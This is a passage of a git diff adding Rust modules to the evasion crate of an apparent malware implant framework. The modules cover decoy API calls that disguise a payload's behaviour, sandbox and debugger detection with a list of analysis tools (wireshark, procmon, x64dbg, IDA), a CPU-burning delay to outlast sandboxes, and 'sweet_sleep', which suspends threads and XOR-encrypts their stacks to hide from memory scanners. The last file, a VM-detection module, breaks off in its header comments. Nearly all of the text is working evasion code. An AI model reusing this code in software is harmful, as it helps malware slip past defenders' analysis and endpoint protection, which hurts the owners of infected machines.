Decoy / benign API calls for behavioural-analysis evasion (BOAZ normal_api port). +//! +//! Randomly executes one of several innocuous operations (file I/O, memory +//! allocation, math, random number generation) to build a "normal" call-graph +//! before executing the real payload. + +use crate::types::{MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE}; +use core::ptr::null_mut; +use malefic_os_win::kit::binding::MVirtualAlloc; + +/// Cheap PRNG seed — reads the low 32 bits of the TSC. +fn cheap_rand() -> u64 { + #[cfg(target_arch = "x86_64")] + unsafe { + core::arch::x86_64::_rdtsc() + } + #[cfg(not(target_arch = "x86_64"))] + { + use std::time::{SystemTime, UNIX_EPOCH}; + SystemTime::now() + .duration_since(UNIX_EPOCH) + .map(|d| d.subsec_nanos() as u64) + .unwrap_or(42) + } +} + +/// Write and read back a temporary file. +fn create_and_write_file() { + let path = std::env::temp_dir().join("~decoy_tmp.txt"); + let _ = std::fs::write(&path, b"hello from normal_api"); + let _ = std::fs::read(&path); + let _ = std::fs::remove_file(&path); +} + +/// Allocate a small region, write a value, free it. +fn allocate_and_free_memory() { + unsafe { + let p = MVirtualAlloc(null_mut(), 256, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if !p.is_null() { + *(p as *mut u8) = 42u8; + } + } +} + +/// Generate a pseudo-random number in [0, 99]. +fn generate_random_number() -> u64 { + cheap_rand() % 100 +} + +/// Compute integer square root via Newton's method. +fn calculate_square_root(n: u64) -> u64 { + if n == 0 { + return 0; + } + let mut x = n; + let mut y = (x + 1) / 2; + while y < x { + x = y; + y = (x + n / x) / 2; + } + x +} + +/// Pick one action at random and execute it. +pub fn execute_api_function() { + match cheap_rand() % 4 { + 0 => { + create_and_write_file(); + } + 1 => { + allocate_and_free_memory(); + } + 2 => { + let _ = generate_random_number(); + } + _ => { + let _ = calculate_square_root(cheap_rand()); + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_sqrt_zero() { + assert_eq!(calculate_square_root(0), 0); + } + + #[test] + fn test_sqrt_one() { + assert_eq!(calculate_square_root(1), 1); + } + + #[test] + fn test_sqrt_perfect_squares() { + let cases: &[(u64, u64)] = &[ + (4, 2), + (9, 3), + (16, 4), + (25, 5), + (36, 6), + (49, 7), + (64, 8), + (81, 9), + (100, 10), + (10000, 100), + (1000000, 1000), + ]; + for &(n, expected) in cases { + assert_eq!( + calculate_square_root(n), + expected, + "sqrt({}) should be {}", + n, + expected + ); + } + } + + #[test] + fn test_sqrt_non_perfect_floors() { + // Integer sqrt should return floor value + assert_eq!(calculate_square_root(2), 1); + assert_eq!(calculate_square_root(3), 1); + assert_eq!(calculate_square_root(5), 2); + assert_eq!(calculate_square_root(8), 2); + assert_eq!(calculate_square_root(10), 3); + assert_eq!(calculate_square_root(99), 9); + assert_eq!(calculate_square_root(101), 10); + } + + #[test] + fn test_sqrt_large_values() { + // sqrt(2^32) = 2^16 = 65536 + assert_eq!(calculate_square_root(1 << 32), 1 << 16); + // sqrt(2^62) ≈ 2^31 + assert_eq!(calculate_square_root(1u64 << 62), 1u64 << 31); + } + + #[test] + fn test_sqrt_u64_max() { + // sqrt(u64::MAX) overflows in Newton's method ((x+1)/2 for x=u64::MAX). + // This is expected — the function is only used on small values in practice. + let result = std::panic::catch_unwind(|| calculate_square_root(u64::MAX)); + assert!(result.is_err(), "Should overflow on u64::MAX"); + } + + #[test] + fn test_generate_random_number_range() { + // Run multiple times to test range + for _ in 0..20 { + let n = generate_random_number(); + assert!( + n < 100, + "generate_random_number() returned {}, expected < 100", + n + ); + } + } +} diff --git a/malefic-crates/evader/src/sandbox.rs b/malefic-crates/evader/src/sandbox.rs new file mode 100644 index 0000000..d0f1c26 --- /dev/null +++ b/malefic-crates/evader/src/sandbox.rs @@ -0,0 +1,491 @@ +use malefic_gateway::obfstr::obfstr; +use malefic_os_win::reg::{RegistryHive, RegistryKey}; +use malefic_process::get_processes; +use std::collections::hash_map::DefaultHasher; +use std::hash::{Hash, Hasher}; + +#[derive(Debug, Clone)] +pub struct DetectionResult { + pub is_detected: bool, + pub confidence_score: u32, + pub reasons: Vec, +} + +impl DetectionResult { + pub fn new() -> Self { + Self { + is_detected: false, + confidence_score: 0, + reasons: Vec::new(), + } + } + + pub fn add_detection(&mut self, reason: String, score: u32) { + self.is_detected = true; + self.confidence_score += score; + self.reasons.push(reason); + } +} + +#[derive(Debug, Clone)] +pub struct SandboxDetection { + pub is_sandbox: bool, + pub confidence_score: u32, + pub hardware_detection: DetectionResult, + pub sysinfo_detection: DetectionResult, + pub time_detection: DetectionResult, +} + +impl SandboxDetection { + pub fn new() -> Self { + Self { + is_sandbox: false, + confidence_score: 0, + hardware_detection: DetectionResult::new(), + sysinfo_detection: DetectionResult::new(), + time_detection: DetectionResult::new(), + } + } +} + +/// Perform complex computational task to evade sandbox analysis +/// This function executes multiple types of intensive computations +/// to consume significant CPU time and memory, making it difficult +/// for sandboxes to skip or accelerate execution +pub fn perform_computational_task(seed: u64) -> u64 { + let start_time = std::time::Instant::now(); + let target_duration = std::time::Duration::from_secs(30); // Target 30 seconds + + let mut result = seed; + let mut phase = 0u8; + + // Continue until we've spent enough time + while start_time.elapsed() < target_duration { + match phase % 8 { + 0 => result = phase_prime_generation(result), + 1 => result = phase_matrix_operations(result), + 2 => result = phase_memory_intensive(result), + 3 => result = phase_string_operations(result), + 4 => result = phase_recursive_computation(result), + 5 => result = phase_bit_manipulation(result), + 6 => result = phase_hash_chains(result), + 7 => result = phase_fibonacci_series(result), + _ => unreachable!(), + } + phase = phase.wrapping_add(1); + + // Add some unpredictable delays + if result % 100 == 0 { + std::thread::sleep(std::time::Duration::from_millis(10)); + } + } + + result +} + +/// Phase 1: Prime number generation and verification +fn phase_prime_generation(mut seed: u64) -> u64 { + let mut count = 0u64; + let mut num = (seed % 10000) + 2; + + // Find primes using trial division + for _ in 0..5000 { + if is_prime(num) { + count = count.wrapping_add(num); + } + num += 1; + } + + seed.wrapping_add(count) +} + +/// Check if a number is prime +fn is_prime(n: u64) -> bool { + if n < 2 { + return false; + } + if n == 2 { + return true; + } + if n % 2 == 0 { + return false; + } + + let sqrt_n = (n as f64).sqrt() as u64; + for i in (3..=sqrt_n).step_by(2) { + if n % i == 0 { + return false; + } + } + true +} + +/// Phase 2: Matrix operations +fn phase_matrix_operations(mut seed: u64) -> u64 { + let size = 100; + let mut matrix_a = vec![vec![0u64; size]; size]; + let mut matrix_b = vec![vec![0u64; size]; size]; + + // Initialize matrices + for i in 0..size { + for j in 0..size { + matrix_a[i][j] = seed.wrapping_mul(i as u64).wrapping_add(j as u64); + matrix_b[i][j] = seed.wrapping_add(i as u64).wrapping_mul(j as u64); + } + } + + // Matrix multiplication + for i in 0..size { + for j in 0..size { + let mut sum = 0u64; + for k in 0..size { + sum = sum.wrapping_add(matrix_a[i][k].wrapping_mul(matrix_b[k][j])); + } + seed = seed.wrapping_add(sum); + } + } + + seed +} + +/// Phase 3: Memory intensive operations +fn phase_memory_intensive(mut seed: u64) -> u64 { + let mut memory_blocks = Vec::new(); + let block_size = 4096; + let num_blocks = 1000; + + // Allocate memory blocks + for i in 0..num_blocks { + let mut block = vec![0u8; block_size]; + + // Fill with patterns + for j in 0..block_size { + block[j] = ((seed.wrapping_add(i).wrapping_add(j as u64)) % 256) as u8; + } + + memory_blocks.push(block); + } + + // Random access patterns to confuse analysis + for _ in 0..50000 { + let block_idx = (seed % num_blocks as u64) as usize; + let byte_idx = (seed % block_size as u64) as usize; + + if !memory_blocks.is_empty() && block_idx < memory_blocks.len() { + let value = memory_blocks[block_idx][byte_idx]; + seed = seed.wrapping_add(value as u64); + } + + seed = seed.wrapping_mul(1103515245).wrapping_add(12345); // LCG + } + + seed +} + +/// Phase 4: String operations +fn phase_string_operations(mut seed: u64) -> u64 { + let mut strings = Vec::new(); + + // Generate strings + for i in 0..1000 { + let mut s = String::new(); + for j in 0..100 { + let ch = ((seed.wrapping_add(i).wrapping_add(j) % 26) + 97) as u8 as char; + s.push(ch); + } + + // String manipulations + let reversed = s.chars().rev().collect::(); + let uppercase = s.to_uppercase(); + let repeated = s.repeat(3); + + strings.push(format!("{}-{}-{}-{}", s, reversed, uppercase, repeated)); + seed = seed.wrapping_add(s.len() as u64); + } + + // String searching and processing + for s in &strings { + let bytes = s.as_bytes(); + for &byte in bytes { + seed = seed.wrapping_add(byte as u64); + } + } + + seed +} + +/// Phase 5: Recursive computations +fn phase_recursive_computation(seed: u64) -> u64 { + let n = (seed % 40) + 5; // Limit to prevent stack overflow + let fib_result = fibonacci_recursive(n); + let factorial_result = factorial_recursive(n % 20); + + seed.wrapping_add(fib_result).wrapping_add(factorial_result) +} + +/// Recursive fibonacci +fn fibonacci_recursive(n: u64) -> u64 { + if n <= 1 { + n + } else { + fibonacci_recursive(n - 1).wrapping_add(fibonacci_recursive(n - 2)) + } +} + +/// Recursive factorial +fn factorial_recursive(n: u64) -> u64 { + if n <= 1 { + 1 + } else { + n.wrapping_mul(factorial_recursive(n - 1)) + } +} + +/// Phase 6: Bit manipulation operations +fn phase_bit_manipulation(mut seed: u64) -> u64 { + for _ in 0..100000 { + // Various bit operations + seed ^= seed << 13; + seed ^= seed >> 17; + seed ^= seed << 5; + + // Bit counting + let popcount = seed.count_ones() as u64; + seed = seed.wrapping_add(popcount); + + // Bit rotation simulation + seed = seed.rotate_left(1).wrapping_add(seed.rotate_right(1)); + + // Complex bit patterns + seed = (seed & 0xAAAAAAAAAAAAAAAA) | ((seed & 0x5555555555555555) << 1); + } + + seed +} + +/// Phase 7: Hash chain computations +fn phase_hash_chains(mut seed: u64) -> u64 { + let mut hasher = DefaultHasher::new(); + + for i in 0..50000 { + // Multiple hash rounds + seed.hash(&mut hasher); + let hash1 = hasher.finish(); + + hash1.hash(&mut hasher); + let hash2 = hasher.finish(); + + (seed ^ hash1 ^ hash2).hash(&mut hasher); + let hash3 = hasher.finish(); + + seed = seed + .wrapping_add(hash1) + .wrapping_add(hash2) + .wrapping_add(hash3); + + // Add iteration-dependent computation + seed = seed.wrapping_mul(i).wrapping_add(0x9e3779b9); + } + + seed +} + +/// Phase 8: Fibonacci series with iterations +fn phase_fibonacci_series(mut seed: u64) -> u64 { + let mut a = seed % 1000; + let mut b = (seed >> 10) % 1000; + + // Generate large fibonacci-like sequence + for _ in 0..100000 { + let next = a.wrapping_add(b); + seed = seed.wrapping_add(next); + a = b; + b = next; + } + + seed +} + +/// Detect hardware configuration anomalies +fn detect_hardware_anomalies() -> DetectionResult { + let mut result = DetectionResult::new(); + + // Check CPU core count + let cpu_count = std::thread::available_parallelism() + .map(|n| n.get()) + .unwrap_or(1); + if cpu_count < 2 { + result.add_detection( + format!( + "{}: {} ({})", + obfstr!("Low CPU core count"), + cpu_count, + obfstr!("modern systems typically have >=2") + ), + 20, + ); + } + + // Check USB device usage history + if RegistryKey::open( + RegistryHive::LocalMachine, + obfstr!("SYSTEM\\CurrentControlSet\\Enum\\USB"), + ) + .is_err() + { + result.add_detection(obfstr!("No USB device usage history found").to_string(), 15); + } + + result +} + +/// Detect system information anomalies +fn detect_sysinfo_anomalies() -> DetectionResult { + let mut result = DetectionResult::new(); + + // Check for suspicious registry keys + let suspicious_registry_keys = vec![ + obfstr!("SOFTWARE\\Oracle\\VirtualBox Guest Additions").to_string(), + obfstr!("SOFTWARE\\VMware, Inc.\\VMware Tools").to_string(), + obfstr!("SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters").to_string(), + ]; + + for key_path in &suspicious_registry_keys { + if RegistryKey::open(RegistryHive::LocalMachine, key_path).is_ok() { + result.add_detection( + format!( + "{}: {}", + obfstr!("Virtualization software registry key found"), + key_path + ), + 25, + ); + } + } + + // Check running processes + if let Ok(processes) = get_processes() { + let suspicious_processes = vec![ + // virtual check + // obfstr!("vboxservice").to_string(), obfstr!("vboxtray").to_string(), + // obfstr!("vmtoolsd").to_string(), obfstr!("vmwaretray").to_string(), + + // monitor check + obfstr!("wireshark").to_string(), + obfstr!("procmon").to_string(), + obfstr!("regmon").to_string(), + obfstr!("filemon").to_string(), + obfstr!("procexp").to_string(), + obfstr!("apimonitor").to_string(), + // debug check + obfstr!("idaq").to_string(), + obfstr!("ollydbg").to_string(), + obfstr!("windbg").to_string(), + obfstr!("x32dbg").to_string(), + obfstr!("x64dbg").to_string(), + ]; + + for process in processes.values() { + for suspicious in &suspicious_processes { + if process.name.to_lowercase().contains(suspicious) { + result.add_detection( + format!( + "{}: {}", + obfstr!("Suspicious process detected"), + process.name + ), + 20, + ); + } + } + } + + // More lenient process count check + if processes.len() < 20 { + result.add_detection( + format!( + "{}: {} ({})", + obfstr!("Low process count"), + processes.len(), + obfstr!("typical systems have >20") + ), + 15, + ); + } + } + + result +} + +/// Detect time anomalies using relative analysis (no fixed thresholds) +fn detect_time_anomalies() -> DetectionResult { + let mut result = DetectionResult::new(); + + // Test 1: Sleep consistency - only flag extreme acceleration + let sleep_start = std::time::Instant::now(); + std::thread::sleep(std::time::Duration::from_millis(100)); + let actual_sleep = sleep_start.elapsed(); + + let sleep_ratio = actual_sleep.as_millis() as f64 / 100.0; + if sleep_ratio < 0.2 { + // Only flag if < 20ms for 100ms request + result.add_detection( + format!( + "{}: {:.2}", + obfstr!("Extreme sleep acceleration detected, ratio"), + sleep_ratio + ), + 25, + ); + } + + // Test 2: Timing source consistency + let instant_start = std::time::Instant::now(); + let system_start = std::time::SystemTime::now(); + + std::thread::sleep(std::time::Duration::from_millis(50)); + + let instant_elapsed = instant_start.elapsed(); + let system_elapsed = system_start.elapsed().unwrap_or_default(); + + if instant_elapsed.as_millis() > 10 && system_elapsed.as_millis() > 10 { + let timing_ratio = instant_elapsed.as_millis() as f64 / system_elapsed.as_millis() as f64; + if timing_ratio < 0.1 || timing_ratio > 10.0 { + result.add_detection( + format!( + "{}: {:.2}", + obfstr!("Major timing discrepancy detected, ratio"), + timing_ratio + ), + 20, + ); + } + } + + result +} + +/// Execute sandbox detection +pub fn detect_sandbox() -> SandboxDetection { + let mut detection = SandboxDetection::new(); + + // Execute detection methods + detection.hardware_detection = detect_hardware_anomalies(); + detection.sysinfo_detection = detect_sysinfo_anomalies(); + detection.time_detection = detect_time_anomalies(); + + // Debug without obfstr + malefic_common::debug!("Hardware detection: {:?}", detection.hardware_detection); + malefic_common::debug!("System info detection: {:?}", detection.sysinfo_detection); + malefic_common::debug!("Time detection: {:?}", detection.time_detection); + + // Calculate confidence score + detection.confidence_score = detection.hardware_detection.confidence_score + + detection.sysinfo_detection.confidence_score + + detection.time_detection.confidence_score; + + // Higher threshold to reduce false positives + detection.is_sandbox = detection.confidence_score >= 60; + malefic_common::debug!("sandbox confidence score: {}", detection.confidence_score); + detection +} diff --git a/malefic-crates/evader/src/sleep_encrypt.rs b/malefic-crates/evader/src/sleep_encrypt.rs new file mode 100644 index 0000000..70654b6 --- /dev/null +++ b/malefic-crates/evader/src/sleep_encrypt.rs @@ -0,0 +1,244 @@ +//! Sleep with stack-memory XOR obfuscation (BOAZ sleep_encrypt / SweetDreams port). +//! +//! Suspends all threads except the current one, XOR-encrypts their stacks, +//! waits using a busy-loop that reads directly from `KUSER_SHARED_DATA` +//! instead of calling `Sleep`, then decrypts and resumes. +//! +//! # Safety +//! This module is inherently unsafe — it suspends OS threads and +//! manipulates their stack memory. + +use core::ffi::c_void; +use core::mem::{size_of, zeroed}; +use core::ptr::null_mut; + +use crate::types::{TH32CS_SNAPTHREAD, THREADENTRY32, THREAD_ALL_ACCESS}; +use malefic_os_win::kit::binding::{ + MCloseHandle, MCreateToolhelp32Snapshot, MGetCurrentProcessId, MGetCurrentThread, + MNtQueryInformationThread, MOpenThread, MResumeThread, MSuspendThread, MThread32First, + MThread32Next, +}; + +/// XOR key pattern used to encrypt/decrypt stack memory (5 bytes, repeated). +const XOR_KEY: [u8; 5] = [0xAB, 0xCD, 0xE0, 0x00, 0x00]; + +/// ThreadBasicInformation class (0) for NtQueryInformationThread. +const THREAD_BASIC_INFORMATION: u32 = 0; + +/// Minimal THREAD_BASIC_INFORMATION structure. +#[repr(C)] +struct ThreadBasicInfo { + exit_status: i32, + teb_base_addr: *mut u8, + client_id_proc: usize, + client_id_thrd: usize, + affinity_mask: usize, + priority: i32, + base_priority: i32, +} + +/// XOR a memory region in-place with the repeating key. +unsafe fn xor_region(base: *mut u8, size: usize) { + for i in 0..size { + *base.add(i) ^= XOR_KEY[i % XOR_KEY.len()]; + } +} + +/// Retrieve the stack bounds for `hThread` via the TEB. +/// Returns `(stack_limit, stack_base)` where limit < base (grows down). +unsafe fn get_stack_bounds(hthread: *mut c_void) -> Option<(usize, usize)> { + let mut tbi: ThreadBasicInfo = zeroed(); + let status = MNtQueryInformationThread( + hthread, + THREAD_BASIC_INFORMATION, + &mut tbi as *mut ThreadBasicInfo as *mut c_void, + size_of::() as u32, + null_mut(), + ); + if status != 0 || tbi.teb_base_addr.is_null() { + return None; + } + // NT_TIB layout: [0x00] ExceptionList, [0x08] StackBase, [0x10] StackLimit + let stack_base = *(tbi.teb_base_addr.add(0x08) as *const usize); + let stack_limit = *(tbi.teb_base_addr.add(0x10) as *const usize); + if stack_base == 0 || stack_limit == 0 || stack_limit >= stack_base { + return None; + } + Some((stack_limit, stack_base)) +} + +/// Read the current system time (100-ns units) from `KUSER_SHARED_DATA`. +/// Avoids calling any Win32 API time function. +#[inline] +unsafe fn read_system_time_100ns() -> u64 { + // KUSER_SHARED_DATA is mapped at 0x7FFE0000 on every Windows process. + // SystemTime (KSYSTEM_TIME) is at offset 0x14: + // ULONG LowPart; // +0x14 + // LONG High1Time; // +0x18 + // LONG High2Time; // +0x1C + let base = 0x7FFE0000usize as *const u8; + let low = (base.add(0x14) as *const u32).read_volatile() as u64; + let high = (base.add(0x18) as *const i32).read_volatile() as u64; + (high << 32) | low +} + +/// Busy-wait for `ms` milliseconds using KUSER_SHARED_DATA time. +pub fn wait_milliseconds(ms: u64) { + unsafe { + let end = read_system_time_100ns() + ms * 10_000; + while read_system_time_100ns() < end { + core::hint::spin_loop(); + } + } +} + +/// Suspend all threads in this process (except the caller), XOR their stacks, +/// sleep for `duration_ms`, XOR-decrypt stacks, and resume threads. +pub fn sweet_sleep(duration_ms: u64) { + unsafe { + let my_tid = { + let mut buf: ThreadBasicInfo = zeroed(); + let h = MGetCurrentThread(); + let _ = MNtQueryInformationThread( + h, + THREAD_BASIC_INFORMATION, + &mut buf as *mut _ as *mut c_void, + size_of::() as u32, + null_mut(), + ); + buf.client_id_thrd as u32 + }; + let my_pid = MGetCurrentProcessId(); + + // Snapshot all threads + let snap = MCreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); + if snap.is_null() || snap == -1isize as *mut c_void { + return; + } + + // Collect thread handles + stack bounds + let mut entries: Vec<(*mut c_void, usize, usize)> = Vec::new(); + let mut te: THREADENTRY32 = zeroed(); + te.dwSize = size_of::() as u32; + + if MThread32First(snap, &mut te as *mut THREADENTRY32 as *mut c_void) { + loop { + if te.th32OwnerProcessID == my_pid && te.th32ThreadID != my_tid { + let hthread = MOpenThread(THREAD_ALL_ACCESS, 0, te.th32ThreadID); + if !hthread.is_null() { + MSuspendThread(hthread); + if let Some((limit, base)) = get_stack_bounds(hthread) { + entries.push((hthread, limit, base)); + } else { + entries.push((hthread, 0, 0)); + } + } + } + te = zeroed(); + te.dwSize = size_of::() as u32; + if !MThread32Next(snap, &mut te as *mut THREADENTRY32 as *mut c_void) { + break; + } + } + } + MCloseHandle(snap); + + // Encrypt stacks + for &(_, limit, base) in &entries { + if limit < base && base - limit < 8 * 1024 * 1024 { + xor_region(limit as *mut u8, base - limit); + } + } + + // Custom sleep + wait_milliseconds(duration_ms); + + // Decrypt stacks and resume + for &(hthread, limit, base) in &entries { + if limit < base && base - limit < 8 * 1024 * 1024 { + xor_region(limit as *mut u8, base - limit); + } + MResumeThread(hthread); + MCloseHandle(hthread); + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_xor_region_roundtrip() { + let original = vec![0x48, 0x31, 0xC0, 0x90, 0xCC, 0xC3, 0x00, 0xFF]; + let mut data = original.clone(); + unsafe { + xor_region(data.as_mut_ptr(), data.len()); + // After XOR, data should differ from original + assert_ne!(&data, &original); + // XOR again to decrypt + xor_region(data.as_mut_ptr(), data.len()); + } + assert_eq!(&data, &original); + } + + #[test] + fn test_xor_region_key_pattern() { + // Verify XOR uses the expected key pattern + let mut data = vec![0u8; 10]; + unsafe { + xor_region(data.as_mut_ptr(), data.len()); + } + // XOR of 0 with key byte = key byte itself + assert_eq!(data[0], XOR_KEY[0]); // 0xAB + assert_eq!(data[1], XOR_KEY[1]); // 0xCD + assert_eq!(data[2], XOR_KEY[2]); // 0xE0 + assert_eq!(data[3], XOR_KEY[3]); // 0x00 + assert_eq!(data[4], XOR_KEY[4]); // 0x00 + // Key repeats + assert_eq!(data[5], XOR_KEY[0]); // 0xAB + assert_eq!(data[6], XOR_KEY[1]); // 0xCD + } + + #[test] + fn test_xor_region_empty() { + let mut data: Vec = vec![]; + // Should not crash on empty input + unsafe { + xor_region(data.as_mut_ptr(), 0); + } + assert!(data.is_empty()); + } + + #[test] + fn test_xor_region_single_byte() { + let mut data = vec![0x42u8]; + unsafe { + xor_region(data.as_mut_ptr(), data.len()); + assert_eq!(data[0], 0x42 ^ XOR_KEY[0]); + xor_region(data.as_mut_ptr(), data.len()); + assert_eq!(data[0], 0x42); + } + } + + #[test] + fn test_xor_key_values() { + // Verify the XOR key is what we expect + assert_eq!(XOR_KEY, [0xAB, 0xCD, 0xE0, 0x00, 0x00]); + } + + #[test] + fn test_xor_region_large_buffer() { + let size = 4096; + let original: Vec = (0..size).map(|i| (i & 0xFF) as u8).collect(); + let mut data = original.clone(); + unsafe { + xor_region(data.as_mut_ptr(), data.len()); + // Verify it changed + assert_ne!(&data, &original); + // Decrypt + xor_region(data.as_mut_ptr(), data.len()); + } + assert_eq!(&data, &original); + } +} diff --git a/malefic-crates/evader/src/types.rs b/malefic-crates/evader/src/types.rs new file mode 100644 index 0000000..296841d --- /dev/null +++ b/malefic-crates/evader/src/types.rs @@ -0,0 +1,243 @@ +//! Windows type definitions and constants for evader modules +//! +//! Subset of Win32 ABI definitions used by the evasion techniques. +//! Duplicated from malefic-starship/src/types.rs (stable Win32 ABI). + +use core::ffi::c_void; + +// ============================================================ +// Memory management constants +// ============================================================ +pub const MEM_COMMIT: u32 = 0x1000; +pub const MEM_RESERVE: u32 = 0x2000; +pub const MEM_RELEASE: u32 = 0x8000; +pub const MEM_PRIVATE: u32 = 0x20000; + +pub const PAGE_NOACCESS: u32 = 0x01; +pub const PAGE_READWRITE: u32 = 0x04; +pub const PAGE_EXECUTE_READ: u32 = 0x20; +pub const PAGE_EXECUTE_READWRITE: u32 = 0x40; + +// ============================================================ +// Process / thread access rights +// ============================================================ +pub const PROCESS_ALL_ACCESS: u32 = 0x001F0FFF; +pub const THREAD_ALL_ACCESS: u32 = 0x001F03FF; + +// ============================================================ +// Thread creation flags +// ============================================================ +pub const CREATE_SUSPENDED: u32 = 0x00000004; +pub const CREATE_NO_WINDOW: u32 = 0x08000000; + +// ============================================================ +// Wait / synchronisation +// ============================================================ +pub const INFINITE: u32 = 0xFFFFFFFF; +pub const WAIT_TIMEOUT: u32 = 258; + +// ============================================================ +// Toolhelp snapshot flags +// ============================================================ +pub const TH32CS_SNAPTHREAD: u32 = 0x00000004; +pub const TH32CS_SNAPPROCESS: u32 = 0x00000002; + +// ============================================================ +// File I/O constants +// ============================================================ +pub const FILE_GENERIC_READ: u32 = 0x00120089; +pub const FILE_SHARE_READ: u32 = 0x00000001; +pub const OPEN_EXISTING: u32 = 3; +pub const FILE_ATTRIBUTE_NORMAL: u32 = 0x00000080; +pub const INVALID_HANDLE_VALUE: *mut c_void = -1isize as *mut c_void; + +// ============================================================ +// Exception / debug constants +// ============================================================ +pub const CONTEXT_DEBUG_REGISTERS: u32 = 0x00010010; +pub const CONTEXT_FULL: u32 = 0x0010001F; +pub const CONTEXT_ALL: u32 = 0x0010003F; +pub const EXCEPTION_SINGLE_STEP: u32 = 0x80000004; +pub const EXCEPTION_CONTINUE_EXECUTION: i32 = -1; +pub const EXCEPTION_CONTINUE_SEARCH: i32 = 0; + +// ============================================================ +// UI / message constants +// ============================================================ +pub const LVM_SORTITEMS: u32 = 0x1030; + +// ============================================================ +// Structures +// ============================================================ + +#[repr(C)] +pub struct THREADENTRY32 { + pub dwSize: u32, + pub cntUsage: u32, + pub th32ThreadID: u32, + pub th32OwnerProcessID: u32, + pub tpBasePri: i32, + pub tpDeltaPri: i32, + pub dwFlags: u32, +} + +#[repr(C)] +pub struct STARTUPINFOA { + pub cb: u32, + pub lpReserved: *mut u8, + pub lpDesktop: *mut u8, + pub lpTitle: *mut u8, + pub dwX: u32, + pub dwY: u32, + pub dwXSize: u32, + pub dwYSize: u32, + pub dwXCountChars: u32, + pub dwYCountChars: u32, + pub dwFillAttribute: u32, + pub dwFlags: u32, + pub wShowWindow: u16, + pub cbReserved2: u16, + pub lpReserved2: *mut u8, + pub hStdInput: *mut c_void, + pub hStdOutput: *mut c_void, + pub hStdError: *mut c_void, +} + +#[repr(C)] +pub struct PROCESS_INFORMATION { + pub hProcess: *mut c_void, + pub hThread: *mut c_void, + pub dwProcessId: u32, + pub dwThreadId: u32, +} + +#[repr(C)] +pub struct SECURITY_ATTRIBUTES { + pub nLength: u32, + pub lpSecurityDescriptor: *mut c_void, + pub bInheritHandle: i32, +} + +/// CONTEXT struct (x86_64) — only the fields commonly used by loaders. +/// Full CONTEXT is 1232 bytes on x86_64; we use a byte-array for the rest. +#[cfg(target_arch = "x86_64")] +#[repr(C, align(16))] +pub struct CONTEXT { + pub data: [u8; 1232], +} + +#[cfg(target_arch = "x86_64")] +impl CONTEXT { + pub fn new() -> Self { + Self { data: [0u8; 1232] } + } + + /// ContextFlags at offset 0x30 + pub fn context_flags(&self) -> u32 { + u32::from_ne_bytes(self.data[0x30..0x34].try_into().unwrap()) + } + pub fn set_context_flags(&mut self, flags: u32) { + self.data[0x30..0x34].copy_from_slice(&flags.to_ne_bytes()); + } + + /// Rip at offset 0xF8 + pub fn rip(&self) -> u64 { + u64::from_ne_bytes(self.data[0xF8..0x100].try_into().unwrap()) + } + pub fn set_rip(&mut self, val: u64) { + self.data[0xF8..0x100].copy_from_slice(&val.to_ne_bytes()); + } + + /// Rsp at offset 0x98 + pub fn rsp(&self) -> u64 { + u64::from_ne_bytes(self.data[0x98..0xA0].try_into().unwrap()) + } + pub fn set_rsp(&mut self, val: u64) { + self.data[0x98..0xA0].copy_from_slice(&val.to_ne_bytes()); + } + + /// Dr0-Dr3 at offsets 0x48, 0x50, 0x58, 0x60 + pub fn dr(&self, idx: usize) -> u64 { + let off = 0x48 + idx * 8; + u64::from_ne_bytes(self.data[off..off + 8].try_into().unwrap()) + } + pub fn set_dr(&mut self, idx: usize, val: u64) { + let off = 0x48 + idx * 8; + self.data[off..off + 8].copy_from_slice(&val.to_ne_bytes()); + } + + /// Dr6 at offset 0x68 + pub fn dr6(&self) -> u64 { + u64::from_ne_bytes(self.data[0x68..0x70].try_into().unwrap()) + } + pub fn set_dr6(&mut self, val: u64) { + self.data[0x68..0x70].copy_from_slice(&val.to_ne_bytes()); + } + + /// Dr7 at offset 0x70 + pub fn dr7(&self) -> u64 { + u64::from_ne_bytes(self.data[0x70..0x78].try_into().unwrap()) + } + pub fn set_dr7(&mut self, val: u64) { + self.data[0x70..0x78].copy_from_slice(&val.to_ne_bytes()); + } +} + +#[cfg(target_arch = "x86")] +#[repr(C)] +pub struct CONTEXT { + pub data: [u8; 716], +} + +#[cfg(target_arch = "x86")] +impl CONTEXT { + pub fn new() -> Self { + Self { data: [0u8; 716] } + } + + pub fn context_flags(&self) -> u32 { + u32::from_ne_bytes(self.data[0x00..0x04].try_into().unwrap()) + } + pub fn set_context_flags(&mut self, flags: u32) { + self.data[0x00..0x04].copy_from_slice(&flags.to_ne_bytes()); + } + + /// Eip at offset 0xB8 + pub fn eip(&self) -> u32 { + u32::from_ne_bytes(self.data[0xB8..0xBC].try_into().unwrap()) + } + pub fn set_eip(&mut self, val: u32) { + self.data[0xB8..0xBC].copy_from_slice(&val.to_ne_bytes()); + } +} + +/// EXCEPTION_POINTERS (used by VEH callbacks) +#[repr(C)] +pub struct EXCEPTION_POINTERS { + pub ExceptionRecord: *mut EXCEPTION_RECORD, + pub ContextRecord: *mut CONTEXT, +} + +#[repr(C)] +pub struct EXCEPTION_RECORD { + pub ExceptionCode: u32, + pub ExceptionFlags: u32, + pub ExceptionRecord: *mut EXCEPTION_RECORD, + pub ExceptionAddress: *mut c_void, + pub NumberParameters: u32, + pub ExceptionInformation: [usize; 15], +} + +/// MEMORY_BASIC_INFORMATION (used by VirtualQuery) +#[repr(C)] +pub struct MEMORY_BASIC_INFORMATION { + pub BaseAddress: *mut c_void, + pub AllocationBase: *mut c_void, + pub AllocationProtect: u32, + #[cfg(target_arch = "x86_64")] + pub PartitionId: u16, + pub RegionSize: usize, + pub State: u32, + pub Protect: u32, + pub Type: u32, +} diff --git a/malefic-crates/evader/src/vm.rs b/malefic-crates/evader/src/vm.rs new file mode 100644 index 0000000..f673e90 --- /dev/null +++ b/malefic-crates/evader/src/vm.rs @@ -0,0 +1,235 @@ +//! Virtual Machine Detection Module +//! +//! This module provides precise VM framework detection capabilities using framework-specific +//! signatures and indicators. The detection prioritizes CPUID hypervisor detection to avoid +//! false positives on host machines with VM software installed. +//! +//! ## Key Design Principles +//! +//! 1. **CPUID First**: Primary detection relies on CPUID hypervisor bit (ECX bit 31 of leaf 1) +//! 2. **No Host Artifacts**: Avoids checking VM software installation artifacts on host machines +//! 3. **Framework Specific**: 